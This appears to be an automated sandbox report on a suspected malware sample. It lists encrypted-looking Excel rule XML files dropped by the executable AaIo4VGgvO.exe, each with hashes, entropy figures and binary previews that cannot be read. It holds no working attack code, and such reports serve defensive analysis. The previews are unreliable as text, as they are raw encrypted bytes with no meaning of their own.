Entropy (8bit):	7.730129300030065
Encrypted:	false
SSDEEP:	12:NC97t+RJoQhgQkHlpvQQts/tOD2bZQCzoJyb4PKC83VI10GHOu4uG3Hn9oTiPShh:I+RiQhRUcQ8JBQ983TGHjG3H9oTbhpbD
MD5:	6336D9CA6AD291771583CC725F52345D
SHA1:	A50687C18C0F553B23BF05AD2D5873D31941BE09
SHA-256:	1B5710F9295BF963FCE1EC25242032F7E9619B36C8BA6E0E8A30EA62E8A6DB47
SHA-512:	02421B6D843EA983F8EBDEF108012E9D89C2C9C3729D10221166E6C2C74E6BF832677A4B5FBF481526477B4EA147A7AFFE56084F609C1D1044D9FD04571C619A
Malicious:	false
Preview:	<?xmlD.k.=P.2.)).....=9....x.-xz..47.z4.$7..:*.~.:}C}..o..l............/.......!.....<....6T..4......x.8.=.q.D,S..JL.w....A ...>.N...X.F....!..WMEt=nt.\|..e..@..k..'....YryyvM......l,...k\..9.h..\.........v3.S...a/il8..E....t../..8.7X.g..\C.`D.^.4J....mj.....8..zZ.. .....l....L.}.1..e<...D-....#..i.O.6O.n=v<...lQf...m.e..M..F.,..Hx]...=.a.n......./..u.HF]..^+..8<t..ZD...(....:..U..JW.Je....Q.C`.L.<k.W-....!M..`..0.[../.n..>a_.....,.......=......1.[.bG.F..6.....B...^.V#...g....r~..I...Z..W.'.._.....c.7.~+.Q#.U.%n.Q..Bat..V....D.\s.D.bt......).}...z._....eV....B............._..k../.%...N.2...,.v..\|....M....T..>.M~..:.s-by=... ...j..+.e2.@t.'$.F~..7.O\..Q...O...a."e....39a.C....S{.....Y.i..7.......`......nK'...hMh..zp&6...g.......8...t.0.(..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490027v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.765382588281712
Encrypted:	false
SSDEEP:	24:ZqG/qFZGGGRw6PMAvH1aWw0GsXUFV+NyxlGQLm+ispohZbD:UG/txUw1Fm/jVLmzsMD
MD5:	B092A10377A86B9616822420A43D169F
SHA1:	CA8877E457BDBF0B8CFB40D5AA18E7C24E4757F1
SHA-256:	4E62775388FF2C54B5955E3C2A95E63060FDFF9C404F75F97D8D44A6B99F4ECB
SHA-512:	D5DF10A718424AAFC1FFB0CEBD45141D0F779B91EF2432D68DD7689A47D6099CAB9A7A861D979C740E6B246FF2C517E55AD253CAF6CA72586FB4E867ECBFAA90
Malicious:	false
Preview:	<?xml...8.qA."..<...%....{.,.....q....).G.7..........4.4...Ts...\|.3....%.....s....wI.......{-..;<........pC....u..K@.O...}.>...c....=.8Y..F.1!.7..=..`.b...r]:\...9...../.Y.3....E..y~](..`k...ON...zJ.p...2..e.?4./s.77Y...m....D....G.....mm....A.:.[.[0\|..._.8%i....H.\|L.D;..>.9... m]b/r$.c..0..\.l..........B..j .AW.dF.-.T......qv+B.y...M..,n..p..5Sb.}...O!q.0.....[ ...&tYJ...K..t.R9?).HYv..B....I$..W]}.....b..,...........4..L}...2.U..A..O....P.F ...o...-t.$.....d..J.H.iU.......k^BO..U.....G../......n..3h...>q.. 2._U.Q.SH.:....../^..N...^..S.Yw...`......=.U<P.._.W.R..`c.%vs...6Hvc`.a[7..;T`..u......K6....\1[........^...4...[..np...z.3nA.U.W6..,H.cm.....BL.......a......V).T......w....V....g.Jc.{ 6..0.p...K.Y........x..:MC...kqz.[.:.HG...sR7SSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490028v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	7.830473907608789
Encrypted:	false
SSDEEP:	24:elrp+ioaucIJa3uIJ6XdPzQCFdVrKatTVELb8RbD:+rjoau5JLi6t/JTe8BD
MD5:	2A8A758FA67C533537A7CA1510A9E31C
SHA1:	C055950146767FB14C04580BBBA53DD6492AD4E6
SHA-256:	E9515E805C6D5F1F63349F80488DB792BDF46BDFD9753DC75283CE4AE21A10A0
SHA-512:	4405F170D7CF48093BC85A1EBA18E877F0B1E50A92D9A5D134FC1C7407CA0630266B85FDC756B70C09B0846209B7C83AA2819E1F88F161898F736BA35D102E1F
Malicious:	false
Preview:	<?xml...=...!j......DU.}@U.]%.A5..{..U.\|...g..z......'%.+.t..O...e..qhA5KOs.`..E8I~. ..._..VV.6I.8I.i....xQ.{lM.`2.'.g..~..H...d.y]5.I....)#..u.B...\|.\|qA.b7.q..^..f.?=.Z.H....a..T....c...h..Pt..u..'!,.......A.O.o.45+v..;..[....7m..ET~d...[..s....>(#.Y..I#.w..&v3.s8d.G....H...X.......P.....fZ...E....E.^..V[. ..,.....x...s0....rE..hlU..e.........An..jC..-....Lphx...`..."..j.q..#..a-.t#.2.~.u.I...c..:.g.G..6J.....+......t..X.....v...b...=.Np....y.:.....;\|.....$.?.....YL..v..sER.x...O.Q........hI.....9..t... N.U.S.."b.t.......^..X..,b.X...E.\.!6F ....>..M...B.o~.......&..K..6.........0.e.].a.'.[.....$...X..r.........^....SF.{X.7.D.m....m.D.D,.o..~.....e.k..$.-..9.T..H.Y.;..y.!\.;qLY..)...-.....jN.&hc...49..KB.<.w.Z.....X#t. !.Y.."n@_C..S.......c......).ZV.kc^.ovXi@..b..'.~.M[...J._+g.a........@.._..'=7..i5xD.].....d.Gbv......4......w.U.^,S..ma..:\|a..~......p..'Az.C.@....h..P\..6i.U.dw.o..T.s).a,..<e........}G@.}nY.$SLibyJ8nZP43K8X6Ycor9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490029v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	766
Entropy (8bit):	7.714916545164832
Encrypted:	false
SSDEEP:	12:rnrjYpqSBN5zEoHEFllAbnQ+4sO+BwUSKxhZJM2HROC3vFn0gfGoTu1+cii9a:rnYk0fqXE/c+mUSdEROC3vhJ+OlbD
MD5:	44FDD4CDDD4DAD9C75ABCE46ABA3966E
SHA1:	FFEC75E5F95206777E849B004AD9C684D28B03A2
SHA-256:	F184E18B48DAB2D04C58712C786F2964ED75FDE8CA136B90297F3FEA67591E5E
SHA-512:	1CEE86F465EA4714CA758081D6B1C2F1D6940A863376D926108F1703D0B66DF43AC8D3B4D9B2F753977FBD035A7EEE88345F71BAD674139B039CFB876C744D77
Malicious:	false
Preview:	<?xml..3.....g....(...K..\..X.u..n.w.k.^0"....{E..J..j.^.+.8..v.....{..>.H.>..v...o...\|........{....0....)A.9..s..u...7>.ao.B....<%.]$..@...K.,...Z.F...2..B....}...".2]t..-.Gd.y......m..h.x.xG.>..Y.\|2S....T..."@.9..%1..{z>F.&.V].a:7 ...'.C.'...k..\Q..HV...>.tH5 8.;...m?...E"....x%r"s...4h....Q. l.A...p..C92....._...s'......p..Vt.....k9..P.K...I.]XZG....Z...4y<......E.Mj#...7.....j.....n...'...y).1+..EV"B....}O.=Uw...?q.<.1..d..%...l%.Rd.....B..=7.X.I.......0X....Q.R...L....)ug.......[.T...o...N.vf.4.d.1&.U.....aB....<.e..c\..U. ,.v...=a..X.m..l......SEX..DL...]+#.(.x..0.=.8...P1.NI.T%..f.D"......w~...../y.Lyq.AO.v.{...6v..A.xC.\V'.:!.V....f.gySLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490030v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.78457038038356
Encrypted:	false
SSDEEP:	24:2LEtks4uwl664gsvlAzUUEzMu1OOMwiZv9kWWzxAobD:8EB4u/tlnwTOMHZSWWzzD
MD5:	16AE5CC36B60E13CBDFBEE0678553F9D
SHA1:	892C618DBDB8F67A8A4D61C0E50212C7BCB83540
SHA-256:	89A7735FC930295FCA8B6C849F5AF696CA2D2166C190D8DACE1B6F1448D4052E
SHA-512:	7F7EAF6F328FCD48B26A67CCF4A588DB3259ED563FB2710218FF70594765E55AE3BE36377DBA26511C581A23462780F4BA7FF1159142F357661ABA5DB760AB84
Malicious:	false
Preview:	<?xml..7..I.pP.Jk9.k09b..R..y..!p..b..AG'(.[...2o...51.....A?.....w..q.n..V.........W...S..F..fU..T....I\.U.......Iq.IS...!.39......6Yeu+...~..S......>.S[a.S...3P.fs.\]?...D...n..Md....8.G...7...n..h.'.T..e....^.l....%.....Tkk.C.....I(H...6../.[P)..~..f^.k.^..i.P......B3...G.B{G.J..j.......y..L...#.....".R.).V......M.. R...G...^&....Ec.)..D.D...ycG.Q.?.!.....z.Ff..`...?.....?....\|,h(Z...M9......#.8.k.s..w....JE.....i.5.a".2o..@b..#..a+..J...P+k..l.4..,.....Cmu.\...?&5.a].a./t..9!^o ....[...$..=...9u,.S...B..8..Ns..[lB..f.t..v5.../.....lB.e.B.....^.{u63W.t..F.t.xZ..S.+...U".i.y.3qS./zb....D.\.....\.gB.^....3.)...*C...&.f.......0.p.t..l"....7kv.y._. .a..I...M..?\|.AX^I#...`....mqY.Ho......:..k.ZY.\|;..x.K.i.....r..HoW..2K.^....L.w.s...z.......2.u].k9.R.X.0..?......Ka.]..?.......@.'.cH_?...^.5.....W....T.4.....0-......p...z.G.p...[..e...M.b2.'..(.h=.N.....".M....T.D2.b.-..Q{tt.4}b~...;n...T..\3=.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490031v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.767968233565827
Encrypted:	false
SSDEEP:	24:yhSxSxxKYn0vLQyIzox3iP/tClg9sVLtcbD:qS82vLQfW3iHtC22eD
MD5:	621EC5530D7639366CE01CB53D6ADB82
SHA1:	D1BC65F6C2C829525FA79A03E016849D305051AD
SHA-256:	6EB78C88F38379ED6008672D3EBA56720E45CE9AF8F8E2B53CEE0FB190E47901
SHA-512:	92544E87D9345D8469041B73A874FF1A665226A5C794FB18CFCA87C89E399F48DE79A43A013AA70AD674788AFEAA048E5FE85B9D5752D1B033D47F7BDA052135
Malicious:	false
Preview:	<?xml.E.....#\..7......9=..7.4.;}.Q.gV.g$.....b.....LL....'..\|D..?. ...Y.f...T...d..d...9..0~vn.`K..@.P..r_..F...%...4..h..>.K.E...d.O..G....~.a...j..).8...t7..S.W/N.."#v&>..b...jJ..F...T>Ot.8..=..[.&w}5y(.L=p../C.sE....;...IF.7I9<.J...................q]7...'.......W...BW.YkXEq7..vg.Ib.8...~H.f.8_v....Fyf.y....%.. A...0..<.......x.!1{8.~.......%...Y."...kO!..K....q.h....U..D.....J...@9.h.^.....V.7........1..o..?.i.kM..=!m.\.8.N..=.Vf.,.]....S...W.7..H..........@.tTp.7..)..y.5..t..+n...?..M.......6Uc+(Z[@g.By-:..?.O..a..b....]a(g.W.I.......,.....$...."..#vte.:..8.p.e.....v........7@k...8V..]...&.2.....x9pb...\.R.9Q.,...v.4..$.J%...@bT...t.Q2.iY..k........G7...O...)$.....&.I..S6.rH..98..[.....d..Wp......5_%+..t=LTW..*.]..p..a...ex.q.[..oB+lj,..T8................:.....'...B.h$...V.......Oc:LuSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500000v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1147
Entropy (8bit):	7.79841728397406
Encrypted:	false
SSDEEP:	24:6XhObwmBzgOy6wJOtlSQqEiuD0Wjem+aU8g2ttbD:2M88xfwMPVqEiuZTDtND
MD5:	EC1ADE6F0D9BEF395EB9B8ACB05FF348
SHA1:	E65B1E2B44237A5EFC6942C302E40EAA40C966FF
SHA-256:	03CEBF7E9AB2D10EBA60296422A94C7A81B0E7343A81F2E693E7242932E3E871
SHA-512:	2B3E22F1E9AD5D35AD9CD5CA5EA43787341BC4DBDB428C61E06EC876B92469C26098981F994586970984D753156119D06DEAD914106B1178F9D68F8D05D988BC
Malicious:	false
Preview:	<?xml..^c....mWA...L...H-?.X..4...(.....zZ{..$$<.^.I.^.._CJ.0.\|.,Y]..{...O;.@D.T..R.zPX....}...8.X...<I..X.>..z..B.k...7Gxwz.WD.q\|..O.{n/....!.iIy... i.....=..JR.A..0.;r.:......A....t../....O\.....}oD..^Tm....&.`Pm..U.nwjBr.4.I.B:..[..=.'.c...6....6g..=s..Rv.7[.&i.}..c...~..J...y........i......H...&W.BN#..F....& B..{.{...}..#{.[P.u\..>.U...l./B6.9.......t;-...<..xv.[>.H:..{..i.H\.e...J.......k...@"P.0...".q72....e..0.E]..'..7..v..^.....u .....\|..t.Qi.).U[.....W..y.....FO..-..A..\.....H.3 ?...`..Q,..R..Q.W...n...z.5.(91Q...D...!.RGN..p.^...rn..R..mj.q78...v$G.........#..,......R..."%...;..z.2.X..w.1DVb...m..]^..1.=O.........<ve....I.}rr...+......?o.Q<7\c."...E..AS.....V..a6.........,0.....M.".....`lF.SE....S.E........O..)..3F...JF.+.ZM.....L.(..g.Y.Wq<i.G.~^.....\|V.]_..,.....W.....r..^f..w.O..^S ....+....0.E((<...:..F.).-j..7D*'..`....5&.Q.'...3>...wz.I.\|.s.l...>"...<.\|...6.{r..7.7...u/..u.9....HSV.C....BDM..j.F.&..i..&}....F.R....{...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500001v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	7.8427984868255285
Encrypted:	false
SSDEEP:	24:ozzBURokW3IwldwsvulX7DfYJpSyIBlYNoT5IaZsjxbD:o/B0okNUdFv68JgZygvsjhD
MD5:	BD57952ED81760198BB3FA041378C427
SHA1:	8DFA8FA67F025F6F1BF0A9499F648FF5D33A63C0
SHA-256:	CAB0216D931C798884F8540599E79367085DE586DB70514AB8AFCC3A45E23798
SHA-512:	463EB2B7A16AF8FF8A5667E3A98EFA5E9743D79847A63D166AD04BAACED04071A0C631E03641C7768610513941D92DFE3BFE3A0AB7BC79B27D8621DBD3F41DE5
Malicious:	false
Preview:	<?xml.C$T.:.R.. h..#G..v.n.LL&.0.If...b..X..h+.p..zs.....y..Tm.,..A..v>.a............-]...V^...kX.k..~...8....4w....PC......P.;..33..1&>..t..1#\|.x.....n..u......A...`.....T...5..y.h`...s....k.$Ld.-.E..S.......k^.....!M..W.Z.."x.}...=o..L69qw.%......#.L..B3~..`d.&[..V.3.....jzS.rQ....R.?...gIA...Q.u.....?T.Pqh.RR.X..A..,.,....]B1k@..Iv(ui.-)/.. 9(...y..v..xLqPc.F.!.\|\.............!?).UH..ug~..x.....^.-..=.Ru.x.@.e..%%...~.......T....<U@M....R..H-..b..qe.D.J^......Q..G.8.Oq$...9V~..#cP...`d.-u.6..=4.>X.f....o..1..ie.LQ...."....+."..B...m....5...[..,.m.o?P+D.7J.:.N...'.F......,~....-.n._.W....W...........b..Pi&r?.,.jH".JgX..K].G".N...$V...k..m6.~........6.b+..3.a..(...i...Ws~.../.}b..>..,....,.....H..hp8..c"....>F.....Dd.e#....x.B.Q.../..U.P.>.l..S.......'aT.N./.'.5...T.Kr..'K.. ..l.q+....^....*.=..hx.D ..@......K...yU..+EW..F.o.I.....0l...o.....L..%.wM.K.rj.....]{..........y].v.2}.S^...a4Q..[....f..@).(..J.....-..s......l..u.T.h..nV?....sR

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500002v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.812949204452321
Encrypted:	false
SSDEEP:	24:fv8Kc/J5VEL9lk1iHDBuxErg7hBu7fOKaccC0Bg4fW6bD:H8Ko5VELUkDwVA7BHWC4D
MD5:	8043D18F17D260B25FF9BAECE0B66340
SHA1:	8B99828DDE09AC6FEAEE5A18DDD95187B78EA685
SHA-256:	37A1F66E0AF7AA9485A5A602B162ED7091F30EB9E41AAE5047CE93BEF93BB7AC
SHA-512:	A1698952F2274606BCBB2860CD37ABC0CCE4E6AD2A0D2329556D4CFD6C80256AA530C5D14D447A47FFA3C04F18D0D369D4B89C168A8D6166F59A1915D484EA48
Malicious:	false
Preview:	<?xml.6My?I.2._%.hR.<f....0....b..%rci...V......;..H....Z...A....P.R$hv...j..(.0W...p-z. .tw_...7q...A.....9..N........,y>....T......hi.....#D......{.@.^.[P.!JfLF....L'=.c.+.4..%J.j.....kd.......kH.....~H..1..k.-..........4..W.A.+.o...,kn .\|[`.(..=. .A.t97k...;...6sP....c,[.........Rs..X...[$.k....a...=C...~.P?.Y.g#S...j.04.E..?..a.+i[.q._.1..&.iG.......w."g).p..B.....L..h..h71e...U..@&}.iB.@..?4..4.!....yc-........gq.0.......'..?.`..z..bw.O.....:....".n.i2..~.m...gi...Kv...E..~.....r7.T\.:....&r.M?.\XN......w...[.F.N_\|;k.\|C..u.!E.>%:6.(.D.[v.b..4.a...K....$.lQ.#..}.Oef.=.j.{.C...J.j.,.0..K....x.NK#j{.3..7...7.......bP.....$.)..D.=.bu...u..k...=......w.y..E.w..f...1g%.5.-a6......8y.#j@\|..WH..@>Y...G.k..^U..~..rK.3...F...=.gb..p...KM...z.N.M%..g...)...\.kmk..a.1.u{.+.....!....[.ce.=.9.>...b..-9.....@.\|M..9....aJ....6..gQ.J...~Pd.j_v.I~1...N..D.Z.......+..8.m...s.A...2....R5..<..+D.-j...7Qf7....6,.A...!b&...o+.}S.>...Q.a@.`c......{t.7.~.9c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500003v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.814730128054775
Encrypted:	false
SSDEEP:	24:25lOLiQi9d/QMWCo4MalozkLZTNrOIUdm3sFP/CCrbD:2fxr//yzQV6s3s9HPD
MD5:	207F1BECDD32336E21063C90FB0E99DD
SHA1:	AD73FCC2794BD9067B12028F84719E0F2DFC2695
SHA-256:	9F886B18E37774581B1ACB38B57CE4EFD867CBE804BC1C165C3E2E8CF13AC295
SHA-512:	1B72F769A15DD2BD56D5D4E79003A0456CE783DA00AA4E3BADE1502E88EFAF9451190B2909DF42F35463675B028CD8337FF01F217CB23B1D29A5FA0DECD55B38
Malicious:	false
Preview:	<?xmlv..A..".4`_..Y..w..NU.yY.WQ.{rb..{..4.........8p...o...x2h..3Q.....n.a...b....x2.\|.....F..4..oJ....\|<..=l.....66W.t.a..>Gk..}.j...w.8.{o...D......t...3.D.H....I.yo..U.............K..K\......\|...I<n..=.u8...m...`.}..I@{..<....Z...Z:.L.z...au...M..J9.'eI...dI\.{D [}+..#..JP.D..].41.g..?K.....Q.D..7......N.]<X.....m...F......m;.........2<0.Z.4_.\|r.\.e.$..5[..!.KUS.........z..knU....A~.....P/E0+..T..........T.Nt,T..E...ob.l..oi.p!x.Wv..Z`..y...x...BL.._.....8...O...5.Y...1.xr.......G..s......q....{...i.bu...Y!]7...Q.-<."...C,m`..;....O.....S.p.......e...@.P...4,...x..f'...kT....0......+...?FQ.(I.d#.....r...L...J.........J$.d....[.LVE..H..\.N.N.L../...;..a.t.>...w.{...1...J.;2N'..R1Q...,..C...!......!..................t....;.5._.4@z...O...,..O<~....C..>.....v......A.XR2...h.T{3.....O..,U.q,.o>..C5#o.7...RP..rB.........rm.....X .zC.G.....v.9MP....i........... ..,.(..7.RW.@\|..a1`e.:<.,..Hh....R..E......o&.R.t.2(......6@......oc..X.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500004v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.828354446850246
Encrypted:	false
SSDEEP:	24:bvUDOGlJ4wDQOorTK58950iXkcpRRU4NSPG+OQFxKHTrbSrh/UbD:bsDx4wDyV50idnU4ce+OwKzrbS9mD
MD5:	0B2A8434396456FEFABCABC642EA3FC9
SHA1:	14E367CE87FE3CC8A95010D3A5723A879CBCC245
SHA-256:	D42D0BADABCB9E2AC724E07B0967B5D645320BC45CDA6E57A3AC16B7DF161E08
SHA-512:	377814615D2CC5A6D7578B6702023ED12AF3F264DF3BA3C56A98211249F3CED6186D374B0C8B8844D752533D33A760339B5E91E6E18F35950400711775107525
Malicious:	false
Preview:	<?xml..n.GJH..b...i#y..53..x.?ee.W..R>0....3..^....jj%..........k.@A....l.F!..". ......$..8.k....).v...(.j..-..1\ff. ...#....f9..':....Se8.wr....@.2:.FUM.rP.N....].V6...?++"(.>..8.../......Za....+.1...H#.Ze;.4G...Tf.qm../.{..).\....l..d{....-.3....7>..E......V.L.......0....Q.[".?..~T...a!?!.Ko...?_-..3...}6.Jl.T\|....2..._.l......q#.4X..{.4K..7ji..z.O..o...6.......o.z+.}.....@..,[.-.5.l>.j=@.b...s.Y.!..q.=)V.K...<r...0.}$f.\..9..AI`.6...r...tI......4.K.oM(....<.~.......\.HKw6.\|....r...T..0.~.n....r.<.g/....Z..._Y.....5q.4_.+y.8....5m@jB.w.jSg4...s..1t.o3..CYNX*.zr<,_.q.iK.q..j..A.K"5.5J......p..nG#c.........&c.. .........8.4...\D.....ysWU..d.V...X/b......B9.T....(....<.6..Q.2j...iI.....p.WY.....t..x'F.X...gK.%....m$pm>.D......g..."....h.$..C...=j]i%9.D...E.X.."......1G....r)%.2^.\..C.ls...A.,.....+C.\|v.#.....qn.5 .;U$..4.f.m...+(.....T..N..U..h.6.lhW.....He.9I.........F.glv.%.....=F.QfO.v...Z..}..v.....Ik.G..i..P..5f\|:....."....W..z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500005v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.809245413712364
Encrypted:	false
SSDEEP:	24:YtSCaukVdavVi4W2YxrQHiuM82ScbDr1awArlu2EtGbD:uStavk4WdkHRbk/1awgE2D
MD5:	718C64D0F9073455C95EE59EA6BF7AAC
SHA1:	862D675A9F374471B05316056EC41CB06B8F391C
SHA-256:	8496AC090B9B86B90A50295D23BAA559B862D3196CB7B7EC46ABD073A6BE7B3F
SHA-512:	B963D3BC9F01155FD799B273B27D83F106D0FF0D3BA49F3AC289253F4C3F3F6818ED793AB5DC320035C1893D4B8E83111D82880C67B43C192AF190483D2A4CEB
Malicious:	false
Preview:	<?xml.\|....S..4..na."S.....cp......gj#.....`.m.......H......s.$..........@...T(.\1H.S..5y.3./=..\|..0D.>.b.U..W~.........t].u1.b.)..L.X..6..e1kT.....gL.....^..?.I.......j9..S...N.-..3..j.r''d>...G.g9.......83v. ..\.I..E[R......=fS)..C.}....B~.4.OIQs.+.y.\d..%1xk?...C....&....$.A..Z..}...o...RM.f.&..w...;-...Gj.wE.S.kaQB...V.6o.F.1./9..Z'....Ld?v}wz.;...&rI{...\.^T.?.n...N.d.59.\1R..(E.~W...V..X.....`>X...B...:...n..\W..G..S".5._..W......+c.z].(.SYi^.,..........TS....}g0...........s5....%.[yY...K...#...k.r.<..a.....v_...N^.J......}...h.g3/n...-.9.v..K.G.........LO.?...$......N.*^.I..../_e.T.Auj...R...h.g.<..=.I.)......+p...<...... V..)......\&.......(]{.b.<....[.....u..l1..._A\|.X.?.6.......n...H..Y.?.....eJ$l.V.V...1M6TK.?...2Kp_..a..Q!L."v.(...e!.}....h.t...P@W.+.q.Zm..\|\|..XAS.^.(."..N...dM...fc4.?.e<......-..^.w.G.#.uFG55.F..{..l9.o....Q...0a....;q.EBz2&`...Y.J..`:V.fQ..P...1...o.,..v...L].f....G2..v.....lx.^h.....\+.S?.d...\|..K7;..:..fK_.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500006v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.762850594992379
Encrypted:	false
SSDEEP:	24:VoucXSFIhzakrHgCc0zOqX65m6ml/aPHdk5yh3UuEjbD:CucoWzaic005feyP9gyhAD
MD5:	BFF29C3227953AD2455A92D1DEEBCBAB
SHA1:	2296A87830F89F7869460C851C47577587019B64
SHA-256:	4E75515703F25E004CB470D4DFF01D3949AEDFDF1E5CA317572A83AF597DA840
SHA-512:	BD17D58D182DE890EBC611ECCA7BCA944B5FDBD3802B2E45AAD96B4A9351D599645BC269D898BE532C5AAB5160BD0DF1D5A575900BBF55A7D0A4466ED5D49560
Malicious:	false
Preview:	<?xml.......Q)P..\...s.h.m..DM...%....&.\.... .qa......H ...r.>.....~)..&.+X....b3........G{`.x....'...Z......V.....Px.....f.!R]..1.F`.D>7....h`,.g....[.O./=.x.{....'...P...u3.]....G...(B...{..~)>.9..J..@n1...#L.A.2.~.......4..1j0IOp.%S..?:.tO.'..p.#.O.lK..<.c....X.M=...:H...0..5;..-..`=..!.6.T._.\.. U.....r+9..H.e<@K..ER....64Q..0..k...)C....J......C.i..t..2B~.yWq!...........,a..3...Vo.?.l.....i_\|q..J:...f...^.8.n<@.2p..H,.#.k.U.2. ..M^A....(.......ysu...?..f..m..R../...B...p...Cg....1.R,..{U..M)h41.'....x.!.j....d..$<tf^.Qxo.9..E.o.T.......I...$...vy..c..k....;r.wQ.9..)o..Lv"..-..c<r..t).1@...#.A=.>m(..}U.nHQ.P.J..(l2.E....R..hsf.MW....X...7&K#......E$T....r..n.a....'..!Q.....M..7W5.G....{.(MKRd..k.3...].......)8...TK`..C.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500007v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	767
Entropy (8bit):	7.7281369380755365
Encrypted:	false
SSDEEP:	12:RQdhTNQkGsBj0W6940HmRz6JVRRrHhv8F6PDkgPMiy/SLRabbYcDh1+cii9a:OjTNQwQ4DORvvFkg0iy/StaPxebD
MD5:	06FC9CDDAC4DC16F24F0311F671A6572
SHA1:	0D56D5DFF9276D347E1417EE77D9822516E0DCFA
SHA-256:	1BF6357A74A42BA80FD80937C484169CDAE2A2F5F88C0A7803E72168038B9D77
SHA-512:	0A2532B20DA07A86F2149A9BBC7CF31D73810888A856F18BB1CE030D1D8954C945E44F4110FEE5EE4559FFB53337CD797FC9F0D0F319CF317B74C91340BE3030
Malicious:	false
Preview:	<?xml?...?........V.Oup.\.. .[..!f@.zi.....e$+...xM..$.K.....eQ...xx..x...i..A)....H...1.7;5.-.kw..TC....-..&....&P._....l.U......dC....p..~?c..-{.{.s..Qm2.j-....t.....$...9% ....)`..u@+.......Cx8.c.8.....).D}.l.P.7.F.f4B.,......'1.4l=...\|.]......F....H...2f.P.M.W0I8[.'..iwO}.u)...........@.5.$.....$[...2.B$.f.u.M......$..bGN...T...}.'..)C..p.4..RGoHZ....G.....N..oj...'....=d.2.D.bK._...']i)[...s9..,+L^r..N...qi.&.`...Y.....^ZY.t.....-.......ZG)"._...+n..r.=c!..5.+s..!.\|....T.;.........6.e......Vc..p~.... ..-q....B..<...}D.u1$.w.#..{..4\..+....>..-}..W..=u.C.......J.].Wy.M.m.pF{.P....%1.....r..VSC.....+...mJh..I0.yGE.h..>;w......J.;.. ......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500008v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.765588305061328
Encrypted:	false
SSDEEP:	12:4bLfnAY229LFemEl40yGP58bSd7qaRNNGsp4Srp7nOpHh0eb+Bjguuo1+cii9a:4bFImu40lPbv7rpbOQIbD
MD5:	66EBE28949E8BCF02DA2FE7CF741A7CD
SHA1:	11465011EA324405952D41F17C3FAFA47DDFE807
SHA-256:	1BE69CA65A9FE6EB8B8852D5E236A42DEFE17CA4BE5A493A3D4908E685F2DFDC
SHA-512:	AAE67BE492A465372769FE965D2C2DD65B099128DD9E96F77A8057926810C29EECFB2FFB547B7D4078E3032AE73051AD5200EF5C71D8DFC0D61317D94EC7D10E
Malicious:	false
